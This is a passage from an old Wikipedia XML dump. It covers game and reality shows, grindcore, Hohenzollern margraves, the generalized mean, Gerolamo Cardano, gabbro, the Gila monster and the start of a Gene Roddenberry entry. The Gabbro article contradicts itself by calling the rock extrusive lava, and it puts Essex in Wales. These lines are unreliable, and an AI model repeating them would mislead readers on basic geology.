*''[[3s a Crowd|Three's A Crowd]]'' (1979)
*''[[Tic-Tac-Dough]]'' (1950s, 1978-1986, 1990-1991)
*''[[To Tell the Truth]]'' (1956-1968, 1969-1978, 1980-1981, 1990-1991, 2000-2002)
*''[[Top Card]], (1989-1993)
*''[[Trivia Trap]]'' (1984-1985)
*''[[Trump Card (game show)|Trump Card]] (1990-1991)
*''[[Truth or Consequences]]''
*''[[Twenty One (game show)|Twenty One]]'' (1956-1958, 2000-2001)
*''[[Two For The Money]]''
*''[[Wait Wait... Don't Tell Me!]]'' (radio)
*''[[What's Going On? (game show)|What's Going On?]]''
*''[[What's My Line?]]''
*''[[The Weakest Link]]'' (2001-2002, 2002-2003)
*''[[Wheel of Fortune]]'' (1975-present)
*''[[Who Wants to Be a Millionaire?]]'' (1999-2002, 2002-present) and ''[[Who Wants to Be a Super Millionaire?]]'' (2004)
*''[[The Who, What, Or Where Game]]'' (1969-1974)
*''[[Win Ben Stein's Money]]'' (1996-2003)
*''[[Win, Lose or Draw]]'' (1987-1990)
*''[[Wordplay (game show)|Wordplay]]''
*''[[You Bet Your Life]]''
*''[[Your Number's Up]]''

====US reality shows====
* ''[[The Amazing Race]]''
* ''[[The Apprentice]]''
* ''[[The Benefactor]]''
* ''[[Big Brother (USA TV series)|Big Brother]]''
* ''[[Boot Camp (program)|Boot Camp]]''
* ''[[Chains of Love]]''
* ''[[The Code Room|Code Room]]''
* ''[[Combat Missions]]''
* ''[[Dancing with the Stars (USA)|Dancing with the Stars]]''
* ''[[Fear Factor]]''
* ''[[Gana la Verde]]'' ([[Spanish language]])
* ''[[The Joe Schmo Show]]'' ([[parody]])
* ''[[Last Comic Standing]]''
* ''[[Lost (reality TV series)|Lost]]''
* ''[[Love Cruise]]''
* ''[[Married by America]]''
* ''[[The Mole]]''
* ''[[Murder in Small Town X]]''
* ''[[Real World]]''
* ''[[Survivor (TV series)|Survivor]]''
* ''[[Temptation Island]]''
* ''[[Trading Spaces]]''
* ''[[The Ultimate Fighter]]''
* ''[[While You Were Out]]''

==See also==
*[[GSN - The Network for Games]]
*[[List of game show hosts]]
*[[List of television programs]]
*[[:Category:Reality show winners|List of reality show winners]]
*[[Quiz Show (movie)]]
*[[Quiz show scandal]]

==Pop culture==
*In the 1984 movie ''[[Ghostbusters]]'', at one point Dana ([[Sigourney Weaver]]) remarks to Peter ([[Bill Murray]]), the whimsical leader of the Ghostbusters team, &quot;You don't act like a scientist. You're more like a game show host!&quot;

==External links==
* [http://www.gsn.com/ GSN: The Network for Games]
* [http://www.ukgameshows.com UKGameshows.com] - fan site for UK game shows
* [http://www.challenge.co.uk/ Challenge TV]
* [http://www.gameshowfavorites.com/ Game Show Favorites]
* [http://www.gameshowcongress.com/ Game Show Congress Industry Association]
* [http://www.tvgameshows.net/ Game Show Convention Center News]
* [http://www.gameshownewsnet.com/ Game Show News Network]
* [http://www.loogslair.com/gameshow/rules/rules.shtml Loogslair.com - Rules Repository]

[[Category:Lists of television series|Game shows]]
[[Category:Game shows| ]]
[[fr:Jeu télévisé]]
[[ja:&amp;#12463;&amp;#12452;&amp;#12474;&amp;#30058;&amp;#32068;]]
[[pl:Teleturniej]]
[[de:Spielshow]]</text>
    </revision>
  </page>
  <page>
    <title>Game of sprouts</title>
    <id>13136</id>
    <revision>
      <id>15910768</id>
      <timestamp>2004-06-27T12:24:45Z</timestamp>
      <contributor>
        <username>Kevyn</username>
        <id>71581</id>
      </contributor>
      <minor />
      <comment>Fixed link which was pointing to disambig page</comment>
      <text xml:space="preserve">#REDIRECT [[Sprouts (game)]]</text>
    </revision>
  </page>
  <page>
    <title>Grindcore</title>
    <id>13137</id>
    <revision>
      <id>41989737</id>
      <timestamp>2006-03-03T01:56:22Z</timestamp>
      <contributor>
        <ip>69.244.214.254</ip>
      </contributor>
      <comment>/* Crucial bands */ Definetly a definetive band</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}

'''Grindcore''' is an extreme form of [[hardcore punk]] and [[Heavy Metal music|heavy metal]], related to both [[death metal]] and [[crust punk]], but historically formed by combining elements of [[Hardcore Punk]] and early [[thrash metal]].

==Historical roots and influences==
The genre was pioneered during the early [[1980s]] in the [[United Kingdom]],[[Netherlands]] and [[Brasil]] by bands such as [[Sore Throat]] and [[Napalm Death]].
In the [[United States]] the genre has their roots with proto-grindcore and [[hardcore punk]] bands such as [[Siege (band)|Siege]], [[Dirty Rotten Imbeciles|DRI]], [[Deep Wound |Deep Wound]] and [[Repulsion (band)|Repulsion]].

Many of the early bands, such as Napalm Death, DRI, and Siege were seen by their contemporaries as part of the [[anarcho-punk]] and [[hardcore punk]] scenes.  As many  [[anarcho-punk]] and [[peace punk]] bands in England and [[hardcore_punk|hardcore]] in the United States had already incorporated elements of [[Heavy_metal_music|heavy metal]] into their music.

Many of these early bands were, and still are, obscure.  

For instance, the hardcore punk band [[Siege (band)|Siege]] only released a [[DIY punk ethic|DIY]] demo entitled ''Drop Dead'', and [[Repulsion (band)|Repulsion]] was posthumously exposed to the world in [[1989]] through the album ''Horrified'' which was released in [[Europe]] by [[Necrosis Records]], a label owned by members of the band [[Carcass (band)|Carcass]].

Many consider the first true grindcore band to be British band [[Napalm Death]].

The genre was given its name by Napalm Death's drummer [[Mick Harris]]. Since then, the grind sound has evolved but is still recognisable for its intense [[blast beat|blast-beat]] drumming, grinding guitars (hence the name), brutal [[death grunt|grunted vocals]], and very short songs (the Napalm Death song &quot;[[You Suffer]]&quot; is listed as the shortest song ever by the [[Guinness Book of Records]], clocking in at fractionally over 1 second long; however, others such as the [[Cripple Bastards]] on their demo ''94 Flashback di Massacro'', and [[Agoraphobic Nosebleed]] on their 3&quot; cd/10&quot; lp ''Altered States of America'' have taken this aesthetic to even greater extremes).
American grindcore band [[Anal Cunt]], a project of [[Seth Putnam]], has recorded an EP called 5643 Song EP which, amazingly, contains 5643 songs in less than 15 minutes.

==Subgenres==
Grindcore has proven somewhat difficult to categorise. Some fans and musicians have a firm concept of genre and subgenre, but others reject such categorisation as limiting or useless.

There is often significant crossover from one category to another, and often the influence of non-metal music is present.

====Genres====
*'''[[Political Grindcore]]''':  This subgenre is known for having politically aware lyrics, and is sometimes associated with the [[crust punk]] and [[anarcho-punk|peace punk]] movement. Of all the subgenres of grindcore, this one remains the most musically similar to the earliest grindcore bands. Examples include [[Nasum]] and [[Napalm Death]].
*'''[[Power violence]]''' a lot like grindcore, drum-wise and vocal-wise at times, but leans more to being faster sounding hardcore. Widely considered a sub genre of hardcore, equally if not more.
*'''[[Goregrind]]''':  This subgenre started with the band [[Carcass (band)|Carcass]], and is most notable for having gore obsessed lyrics, and [[pitchshifted]] vocals.  Of all the subgenres this one currently has the most (relative) commercial success.
*'''[[Cybergrind]]''': Cybergrind is a form of grindcore that, aside from the instruments used by ordinary grindcore, uses computer generated sounds, samples and/or drum machines and other synthetic instruments. Examples include [[Agoraphobic Nosebleed]],[[Microphallus (band) | Microphallus]], [[Gigantic Brain]].

====Other minor genres====
*'''[[Modern Death/Grind]]''': Death metal with heavy grindcore influences, or vice versa. 
*'''[[Pornogrind]]''': A sexually explicit, 'groovy,' less death metal form of goregrind. Example: [http://www.goregrind.net/gut Gut].
*'''[[Noisegrind]]''': structure-free grindcore, with feedback, hateful lyrics and general disregard for musicianship. For example [[Anal Cunt]], [[Genital Masticator]].
*'''[[Drum_machine_grind|Drum Machine Grind]]''': Grind that uses a drum machine, and makes no attempt to hide that fact, by playing impossibly fast blast beats. For example [[Agoraphobic Nosebleed]] and [[Wadge]].

==Crucial bands== 
&lt;!-- Don't add your band without discussion on the talk list. --&gt;

*See also [[List of grindcore bands]].

Crucial grindcore bands include [[Agathocles (band)|Agathocles]], [[Agoraphobic Nosebleed]] [[Anal Cunt]], [[Assück]], [[Benümb]], [[Brutal Truth]], [[Cripple Bastards]], [[Discordance Axis]], [[Extreme Noise Terror]], [[Fear of God]], [[Phobia]], [[Pig Destroyer]], [[Napalm Death]], [[Nasum]], [[Repulsion (band)|Repulsion]], [[Terrorizer]], [[Unseen Terror]] 

Bands that inspired and helped to define early grind include
[[Agonia (band)|Agonia]], [[Anti-cimex(band)|Anti-Cimex]], [[CCM (band)|CCM]], [[Cryptic Slaughter]], [[Discharge (band)|Discharge]], [[Siege (band)|Siege]], [[S.O.B. (band)|S.O.B.]], [[Larm]].

==See also==
* [[Crossover thrash]]
* [[Death metal]]
* [[Crustcore]]
* [[Noisecore]]
* [[Metalcore]]
* [[Cybergrind]]

==External links==
*[http://www.geocities.com/repulsion_band/agrindhistory.html Grindcore Milestones (a subjective history)]
*[http://www.ikmf.tk (a site about grindcore)]
*[http://www.jellobung.com/phobia (Phobia's Official website)]
{{heavymetal}}
{{hardcorepunk}}

[[Category:Grindcore| ]]
[[Category:Metal subgenres]]
[[Category:Hardcore punk genres]]

[[bg:Grindcore]]
[[da:Grindcore]]
[[de:Grindcore]]
[[es:Grindcore]]
[[fr:Grind core]]
[[he:גרינדקור]]
[[nl:Grindcore]]
[[ja:グラインドコア]]
[[pl:Grindcore]]
[[pt:Grindcore]]
[[ru:Грайнд-кор]]
[[fi:Grindcore]]
[[sv:Grindcore]]</text>
    </revision>
  </page>
  <page>
    <title>Game of Life</title>
    <id>13139</id>
    <revision>
      <id>37566707</id>
      <timestamp>2006-01-31T20:42:47Z</timestamp>
      <contributor>
        <username>Vary</username>
        <id>208472</id>
      </contributor>
      <comment>Reversion to revision 29461853 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">There are two things called the '''Game of Life''':
* For the [[cellular automaton]] devised by mathematician [[John Horton Conway]], see '''[[Conway's Game of Life]]'''
* For the [[board game]] made by games manufacturer [[Milton Bradley]] (a subsidiary of [[Hasbro]]), see '''[[The Checkered Game of Life]]''' and '''[[Hasbro's Game of Life]]'''

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Georg Friedrich, Margrave of Brandenburg-Ansbach</title>
    <id>13140</id>
    <revision>
      <id>31584743</id>
      <timestamp>2005-12-16T07:27:27Z</timestamp>
      <contributor>
        <username>Kmorozov</username>
        <id>238736</id>
      </contributor>
      <text xml:space="preserve">'''Georg Friedrich Hohenzollern''', Margrave of [[Brandenburg-Ansbach]] and [[Bayreuth]], and Regent of [[Ducal Prussia]] was born [[1539]] and died [[1603]].  He was the son of [[Georg Margrave of Brandenburg-Ansbach]], a member of the [[Hohenzollern|Hohenzollern dynasty]] ([[1484]]-[[1543]]).

Georg Friedrich reigned in [[Ansbach]] and [[Krnov|Jaegerndorf]] since [[1556]] and after the death of his cousin Alcibiades in [[1557]] also in Bayreuth.

He took over the administration of [[Ducal Prussia]] in [[1577]], when the then-reigning duke (''Albert Frederick'') became ill. 

He was the last of the older Frankish line of the House of Hohenzollern. Upon his death Ansbach and Bayreuth were inherited according to the [[Gera]] house treaty of [[1598]] by younger princes of the Brandenburg line.
{{start box}}
{{succession box | title=[[Fürst und Markgraf von Ansbach]] | years=1543&amp;ndash;1603 | before=[[Georg, Margrave of Brandenburg-Ansbach|Georg]] | after=[[Joachim Ernst, Margrave of Brandenburg-Ansbach|Joachim Ernst]]}}
{{succession box | title=[[Fürst von Bayreuth]] | years=1553&amp;ndash;1603 | before=[[Albrecht Alcibiades, Margrave of Brandenburg-Bayreuth|Albrecht Alcibiades]] | after=[[Christian, Margrave of Brandenburg-Bayreuth|Christian]]}}
{{end box}}

[[category:1539 births|Friedrich, Georg]]
[[category:1603 deaths|Friedrich, Georg]]
[[Category:House of Hohenzollern]]
[[Category:Margraves of Brandenburg-Ansbach]]
[[Category:Margraves of Bayreuth]]

[[de:Georg Friedrich (Brandenburg-Ansbach)]]
[[pl:Jerzy Fryderyk von Ansbach Hohenzollern]]</text>
    </revision>
  </page>
  <page>
    <title>Georg, Margrave of Brandenburg-Ansbach</title>
    <id>13141</id>
    <revision>
      <id>37291605</id>
      <timestamp>2006-01-30T01:25:03Z</timestamp>
      <contributor>
        <ip>24.8.160.40</ip>
      </contributor>
      <text xml:space="preserve">'''Georg Hohenzollern Margrave of Brandenburg-Ansbach''' was born in [[1484]] and died [[1543]].

He was the son of [[Frederick I Margrave of Brandenburg-Ansbach]] [[Hohenzollern]] and his wife Sophie [[Jagiello]], daughter of [[Casimir IV]] and Elisabeth [[Habsburg]].

Georg had a son named [[Georg Friedrich]] Margrave of Brandenburg-Ansbach and [[Duke of Prussia]].

Georg became the legal guardian and raised the minor [[Louis II of Bohemia]] [[Jagiello]], King of Hungary and Bohemia.

From [[1515]] to [[1527]] Georg governed together with his brother Kasimir, then alone. In [[1524]] he confessed to the [[Reformation]] and he urged his brother Albrecht or [[Albert of Prussia]], who was at that time grand master of the [[Teutonic Knights]], to join the Reformation and secularize Prussia as well. Georg signed the Protestation at [[Speyer]] in [[1529]] and the [[Augsburg]] Confession in [[1530]]. He urged the [[Brandenburg]] elector [[Joachim II]] Hohenzollern to confess to the Lutheran teachings.

{{start box}}
{{succession box | title=[[Fürst und Markgraf von Ansbach]] | years=1541&amp;ndash;1543 | before=[[Frederick I, Margrave of Brandenburg-Ansbach|Friedrich]] | after=[[Georg Friedrich, Margrave of Brandenburg-Ansbach|Georg Friedrich]]}}
{{end box}}

[[Category:1484 births|Brandenburg-Ansbach, Georg Margrave of]]
[[Category:1543 deaths|Brandenburg-Ansbach, Georg Margrave of]]
[[Category:House of Hohenzollern]]
[[Category:Margraves of Brandenburg-Ansbach]]


[[de:Georg (Brandenburg-Ansbach)]]
[[pl:Jerzy von Ansbach Hohenzollern]]</text>
    </revision>
  </page>
  <page>
    <title>God Save The Queen</title>
    <id>13142</id>
    <revision>
      <id>15910774</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[God Save the Queen]]
</text>
    </revision>
  </page>
  <page>
    <title>Generalized mean</title>
    <id>13143</id>
    <revision>
      <id>40364242</id>
      <timestamp>2006-02-20T01:57:02Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">A '''generalized mean''', also known as '''power mean''' or '''Hölder mean''', is an abstraction of the [[arithmetic mean|arithmetic]], [[geometric mean|geometric]] and [[harmonic mean|harmonic]] [[mean]]s.

If ''t'' is a non-zero [[real number]], we can define the '''generalized mean with exponent ''t''''' of the positive real numbers ''a''&lt;sub&gt;1&lt;/sub&gt;,...,''a''&lt;sub&gt;''n''&lt;/sub&gt; as

:&lt;math&gt;
M(t) = \left( \frac{1}{n} \sum_{i=1}^n a_{i}^t \right) ^ {\frac{1}{t}}
&lt;/math&gt;

The case ''t'' = 1 yields the [[arithmetic mean]] and the case ''t'' = &amp;minus;1 yields the [[harmonic mean]]. As ''t'' approaches 0, the [[limit]] of M(''t'') is the [[geometric mean]] of the given numbers, and so it makes sense to ''define'' M(0) to be the geometric mean. Furthermore, as ''t'' approaches &amp;infin;, M(''t'') approaches the maximum of the given numbers, and as ''t'' approaches &amp;minus;&amp;infin;, M(''t'') approaches the minimum of the given numbers.

In general, if &amp;minus;&amp;infin; &amp;le; ''s'' &lt; ''t'' &amp;le; &amp;infin;, then

:&lt;math&gt;M(s)\leq M(t)&lt;/math&gt;

and the two means are equal if and only if ''a''&lt;sub&gt;1&lt;/sub&gt; = ''a''&lt;sub&gt;2&lt;/sub&gt; = ... = ''a''&lt;sub&gt;''n''&lt;/sub&gt;. Furthermore, if ''b'' is a positive real number, then the generalized mean with exponent ''t'' of the numbers ''ba''&lt;sub&gt;1&lt;/sub&gt;,..., ''ba''&lt;sub&gt;''n''&lt;/sub&gt; is equal to ''b'' times the generalized mean of the numbers ''a''&lt;sub&gt;1&lt;/sub&gt;,..., ''a''&lt;sub&gt;''n''&lt;/sub&gt;.

This could be generalized further to the [[generalized f-mean]]: 

:&lt;math&gt; M = f^{-1}\left({\frac{1}{n}\sum_{i=1}^n{f(x_i)}}\right) &lt;/math&gt;

and again a suitable choice of an invertible f(''x'') will give the arithmetic mean with f(''x'') = ''x'', the geometric mean with  f(''x'') = log(''x''), the harmonic mean with f(''x'') = 1/''x'', and the generalized mean with exponent ''t'' with f(''x'') = ''x''&lt;sup&gt;''t''&lt;/sup&gt;.  But other functions could be used, such as f(''x'') = e&lt;sup&gt;''x''&lt;/sup&gt;.

==See also==
* [[arithmetic mean]]
* [[geometric mean]]
* [[harmonic mean]]
* [[average]]

==External links==
*[http://mathworld.wolfram.com/PowerMean.html Power mean at MathWorld]

[[Category:Means]]
[[Category:Inequalities]]

[[nl:Wortelgemiddelde]]
[[pl:Średnia uogólniona]]
[[ru:Неравенство о средних]]
[[su:Generalized mean]]</text>
    </revision>
  </page>
  <page>
    <title>G.I.</title>
    <id>13144</id>
    <revision>
      <id>32629847</id>
      <timestamp>2005-12-24T21:43:04Z</timestamp>
      <contributor>
        <username>Jsmethers</username>
        <id>614213</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">'''G.I.''' may refer to:

* [[Government issue]] - low-ranking millitary personnel or standard equipment.
* [[Galvanized Iron]] - iron that has been electrochemically rustproofed with zinc.

There is also a [[wikt:GI|dictionary definition of GI]] over on [[Wiktionary]].

{{2LCdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Gerolamo Cardano</title>
    <id>13145</id>
    <revision>
      <id>41995893</id>
      <timestamp>2006-03-03T02:49:06Z</timestamp>
      <contributor>
        <ip>70.50.64.4</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Cardano.jpg|right|180px]]
'''Gerolamo Cardano''' or '''Jerome Cardan''' or '''Girolamo Cardan''' ([[September 24]], [[1501]] - [[September 21]] [[1576]]) was a celebrated [[Italy|Italian]] [[Renaissance]] [[mathematician]], [[physician]], [[astrologer]], and [[gambler]].

He was born in [[Pavia]], [[Italy]], the [[illegitimate]] child of a mathematically gifted [[lawyer]] who was a friend of [[Leonardo da Vinci]]. In his autobiography, Cardano claimed that his mother had attempted to [[abortion|abort]] him. Shortly before his birth, his mother had to move from [[Milan]] to [[Pavia]] to escape the [[Black Death|plague]]; her three other children died from the disease. In [[1520]], he entered the [[University of Pavia]] and later in [[Padua]] studying medicine. His eccentric and confrontational style did not earn him many friends and he had a difficult time finding work after his studies had ended.

Eventually, he managed to develop a considerable reputation as physician and his services were highly valued at the courts. He was the first to describe [[typhoid fever]].

Today, he is best known for his achievements in [[algebra]]. He published the solutions to the [[cubic equation|cubic]] and [[quartic equation]]s in his [[1545]] book ''Ars magna''. The solution to one particular case of the cubic, x^3 + ax = b (in modern notation), was communicated to him by [[Niccolo Fontana Tartaglia]] (who later claimed that Cardano had sworn not to reveal it, and engaged Cardano in a decade-long fight), and the quartic was solved by Cardano's student [[Lodovico Ferrari]]. Both were acknowledged in the foreword of the book, as well as in several places within its body. In his exposition, he acknowledged the existence of what are now called imaginary numbers, although he did not understand their properties.

Cardano was notoriously short of money and kept himself afloat by being an accomplished gambler and [[chess]] player. His book about games of chance, ''Liber de ludo aleae'', written in the [[1560s]] but published only in [[1663]] after his death, contains the first systematic treatment of [[probability]], as well as a section on effective cheating methods.

Cardano invented several mechanical devices including the [[combination lock]], the [[gimbal]] consisting of three concentric rings allowing a supported [[compass]] or [[gyroscope]] to rotate freely, and the [[driveshaft|Cardan shaft]] with [[universal joint]]s, which allows the transmission of rotary motion at various angles and is used in vehicles to this day. He made several contributions to hydrodynamics and held that [[perpetual motion]] is impossible, except in celestial bodies. He published two [[encyclopedia]]s of natural science which contain a wide variety of inventions, facts, and occult superstitions. He also introduced the [[Cardan grille]], a cryptographic tool, in [[1550]].

Cardano's eldest and favorite son was executed in [[1560]] after he confessed to having [[poison]]ed his annoying, mercenary, [[cuckold]]ing wife. Cardano's daughter was a [[prostitution|prostitute]] who died from [[syphilis]], prompting him to write a treatise about the disease. His other son was a gambler who stole money from him. Cardano himself was accused of [[heresy]] in [[1570]] because he had computed and published the [[horoscope]] of [[Jesus]] in [[1554]]. Apparently, his own son contributed to the prosecution. He was arrested and had to spend several months in prison, was forced to abjure and give up his [[professor]]ship. He moved to [[Rome]], received a lifetime [[annuity]] from [[Pope Gregory XIII]] (after first having been rejected by [[Pope Pius V]]) and finished his [[autobiography]]. He died there on the day he had (supposedly) [[astrology|astrologically]] predicted earlier.

== Further reading ==
* Cardano, Girolamo, ''Astrological Aphorisms of Cardan, The''. Edmonds, WA: Sure Fire Press, 1989.
* ———— ''The Book of My Life.'' trans. by Jean Stoner. New York: New York Review of Books, 2002.
* Grafton, Anthony, ''Cardano's Cosmos: The Worlds and Works of a Renaissance Astrologer''.  Cambridge, London: Harvard University Press, 1999.
* Ore, Øystein: ''Cardano, the Gambling Scholar''.  Princeton, 1953.

==External links==
* {{MacTutor Biography|id=Cardan}}

[[Category:Italian mathematicians|Cardano, Gerolamo]]
[[Category:16th century mathematicians|Cardano, Gerolamo]]
[[Category:Natives of Pavia|Cardano, Gerolamo]]
[[Category:1501 births|Cardano, Gerolamo]]
[[Category:1576 deaths|Cardano, Gerolamo]]
[[Category:Astrologers]]

[[de:Gerolamo Cardano]]
[[es:Gerolamo Cardano]]
[[eo:Gerolamo CARDANO]]
[[fr:Gerolamo Cardano]]
[[ko:지롤라모 카르다노]]
[[is:Girolamo Cardano]]
[[it:Girolamo Cardano]]
[[he:ג'רולאמו קארדאנו]]
[[hu:Gerolamo Cardano]]
[[nl:Girolamo Cardano]]
[[ja:ジェロラモ・カルダーノ]]
[[pl:Girolamo Cardano]]
[[pt:Girolamo Cardano]]
[[ru:Кардано, Джероламо]]
[[sk:Gerolamo Cardano]]
[[sl:Gerolamo Cardano]]
[[sv:Girolamo Cardano]]
[[tr:Gerolamo Cardano]]</text>
    </revision>
  </page>
  <page>
    <title>Gabbro</title>
    <id>13146</id>
    <revision>
      <id>41954292</id>
      <timestamp>2006-03-02T21:29:05Z</timestamp>
      <contributor>
        <ip>70.18.46.117</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Gabro.jpg|thumb|right|250px|Gabbro specimen.]]
'''Gabbro''' is a dark, coarse-grained, intrusive [[igneous rock]] chemically equivalent to [[basalt]]. It is a [[Intrusive|plutonic]] rock, formed when molten [[magma]] is trapped beneath the [[Earth]]'s surface and cools into a crystalline mass. 

The vast majority of the Earth's surface is underlain by gabbro within the [[oceanic crust]], produced by basalt magmatism at [[mid-ocean ridge]]s. 

===Petrology===
Gabbro is a extrusive melting lava. Gabbro is dense, greenish or dark-colored and contains varied percentages of [[pyroxene]], [[plagioclase]], [[amphibole]], and [[olivine]] (olivine gabbro when olivine is present in large quantities). [[Quartz]] gabbros are also known to occur and are probably derived from magma that was saturated with [[silica]]. On the other hand, [[essexite]]s represent gabbros whose parent magma had an insufficiency of silica, resulting in the formation of [[nepheline]].

Gabbro is generally coarse grained, with crystals in the size range of 1 mm or greater. Finer grained equivalents of gabbro are called [[diabase]], although the vernacular term ''microgabbro'' is often used when extra descriptiveness is desired. Gabbro may be extremely coarse grained to pegmatitic, and some pyroxene-plagioclase [[cumulate rocks|cumulates]] are essentially coarse grained gabbro, although these may exhibit acicular crystal habits. 

Gabbro is usually equigranular in texture, although it may be porphyritic at times, especially when plagioclase has grown earlier than the groundmass minerals.

===Distribution===
Gabbro can be formed as a massive uniform intrusion or as part of a layered [[ultramafic intrusions|ultramafic intrusions]] as a [[cumulate rocks|cumulate]] rock formed by settling of pyroxene and plagioclase. Cumulate gabbros are more properly termed pyroxene-plagioclase cumulate. 

Gabbro is an essential part of the oceanic crust, and can be found in many [[ophiolite]] complexes as parts of zones III and IV (sheeted dyke zone to massive gabbro zone). Long belts of gabbroic intrusions are typically formed at proto-rift zones and around ancient [[rift]] zone margins, intruding into the rift flanks. [[Mantle plume]] hypotheses may rely on identifying similar massive gabbro intrusions and coeval [[basalt]] volcanism. 

===Uses===
Gabbro often contains valuable amounts of [[chromium]], [[nickel]], [[cobalt]], [[gold]], [[silver]], [[platinum]], and [[copper]] [[sulfide]]s.

Ocellar varieties of gabbro are often used as ornamental facing stones, paving stones and it is also known by the trade name of 'black granite', which is a popular type of headstone used in funerary rites. 

===Etymology===
Gabbro was named by the German geologist [[Christian Leopold von Buch]] after a town in the [[Italy|Italian]] [[Tuscany]] region. Essexite is named after the type locality in Essex, Wales. 

== See also ==
* [[Igneous rocks]]
* [[Cumulate rocks]]

==External links==
*[http://www-odp.tamu.edu/publications/prelim/176_PREL/176IGNE.HTML Ocean Drilling Program Gabbro Petrology]

{{mineral-stub}}
[[Category:Igneous rocks]]

[[cs:Gabro]]
[[de:Gabbro]]
[[et:Gabro]]
[[es:Gabro]]
[[fr:Gabbro]]
[[ko:반려암]]
[[ja:ハンレイ岩]]
[[pl:Gabro]]
[[sv:Gabbro]]</text>
    </revision>
  </page>
  <page>
    <title>Gila monster</title>
    <id>13147</id>
    <revision>
      <id>41241335</id>
      <timestamp>2006-02-26T00:31:49Z</timestamp>
      <contributor>
        <username>Mmcannis</username>
        <id>406660</id>
      </contributor>
      <minor />
      <comment>-added to cat: [[Category:Fauna of the Sonoran Desert]]-</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Gila Monster
| image = gila.monster.750pix.jpg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Reptile|Reptilia]]
| ordo = [[Squamata]]
| familia = [[Helodermatidae]]
| genus = '''''[[Heloderma]]'''''
| species = '''''H. suspectum'''''
| binomial = ''Heloderma suspectum''
| binomial_authority = [[Edward Drinker Cope|Cope]], [[1869]]
}}

The '''Gila monster''' (''Heloderma suspectum'') is a species of [[lizard]] that was once thought to be one of only two species of [[venom (poison)|venomous]] lizards. (The other is the [[Mexican beaded lizard]].) The Gila (pronounced {{IPA|/'hil&amp;#601;/}}) monster lives in the [[desert]]s of the southwestern [[United States|USA]] and northwestern [[Mexico]]. It is a heavy, slow moving lizard, up to 60&amp;nbsp;[[centimetre|cm]] (2&amp;nbsp;[[foot (unit of length)|feet]]) long. Its skin has the appearance of [[bead]]s in the [[color]]s [[black]], [[pink]], [[orange (color)|orange]], and [[yellow]], laid down in intricate patterns across the body. 

As mentioned above, it was thought to be one of only two venomous lizards, until recent discoveries have shown that [[iguanas]] and [[monitor lizards]] also produce venom. Unlike a [[snake]], the Gila monster injects venom into its victim not by means of hollow teeth, but through grooves in the teeth of its lower jaw. It produces only small quantities of the [[neurotoxin|neurotoxic]] venom, which is secreted into the lizard's saliva. By chewing its prey, however, it tries to put as much of the poison into the bloodstream of its victim as possible.

The Gila monster's bite is normally not fatal to humans (there are no reliable reports of fatalities), but it can bite quickly and is known to hold on strongly.

The Gila monster's [[diet (nutrition)|diet]] generally consists of small [[rodent]]s, juvenile [[bird]]s as well as [[egg (biology)|eggs]] of both birds and reptiles. They have few natural predators of their own.

The name &quot;Gila monster&quot; refers to the [[Gila River]] Basin in [[Arizona]].

In [[2005]] the [[Food and Drug Administration]] of the United States approved a drug for the management of Type 2 [[diabetes]], [[exenatide|Byetta (exenatide)]], a synthetic version of a protein derived from the Gila monster's saliva.  

== Subspecies ==
There exist two subspecies.

*[[Heloderma suspectum cinctum]], the [[banded Gila monster]]
*[[Heloderma suspectum suspectum]], the [[reticulate Gila monster]]

== Conservation status ==

Gila monsters are a protected species under [[Arizona]] State law in the [[United States]], and may not be collected, killed, or kept in captivity without a permit in that State.  They are currently considered threatened, but not endangered. The main threat to the species is human encroachment. They are listed as ''threatened'' under the United States [[Endangered Species Act]], and they appear in Appendix II of [[CITES]].  

== Morphology of the skeleton ==
[[Image:CTHeloderma.jpg|left|300px]] View 3D computed tomographic (CT) animations of the skeleton of adult and juvenile Gila monsters at [http://digimorph.org/specimens/Heloderma_suspectum/juvenile/whole/ DigiMorph.org]
&lt;br style=&quot;clear:both;&quot; /&gt;

== External links ==
*[http://www.herpetology.com/heloderma.html Heloderma information, list serve, photos and more]

[[Category:Helodermas]]
[[Category:Fauna of Mexico]]
[[Category:Fauna of the Sonoran Desert]]
[[Category:Fauna of the United States]]
[[de:Gila-Krustenechse]]

[[es:Heloderma suspectum]]
[[nl:Gila monster]]</text>
    </revision>
  </page>
  <page>
    <title>Gene Roddenberry</title>
    <id>13148</id>
    <revision>
      <id>42142913</id>
      <timestamp>2006-03-04T02:36:32Z</timestamp>
      <contributor>
        <username>Pd THOR</username>
        <id>138667</id>
      </contributor>
      <minor />
      <comment>Redirect bypass from [[LGBT Characters in The Star Trek Universe]] to [[LGBT characters in the Star Trek universe]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Gene Roddenberry.jpg|right|thumb|250px|Gene Roddenberry, the creator of [[Star Trek]]]]

'''Eugene Wesley Roddenberry''' ([[August 19]], [[1921]] – [[October 24]], [[1991]]) was an American scriptwriter and producer.  He is best known as the creator of the [[science fiction]] television series ''[[Star Trek]]'', and was one of the first people to be [[space burial|buried in space]]. 

==Personal life==
Born in [[El Paso, Texas]] to Eugene Edward Roddenberry and Caroline Glen Goldman, Roddenberry spent his boyhood in [[Los Angeles, California]], where his family had moved so his father could pursue a career with the [[Los Angeles Police Department]] (LAPD). Following in his father's footsteps after high school, Roddenberry took classes in police studies at [[Los Angeles City College]], and headed that school's Police Club.  In that role, he liaised with the [[Federal_Bureau_of_Investigation|FBI]], thanking them for sending speakers and securing copies of the FBI Code and publications for club use, and attempted to take fingerprint records of the college community for the FBI's Civil Identification Division.

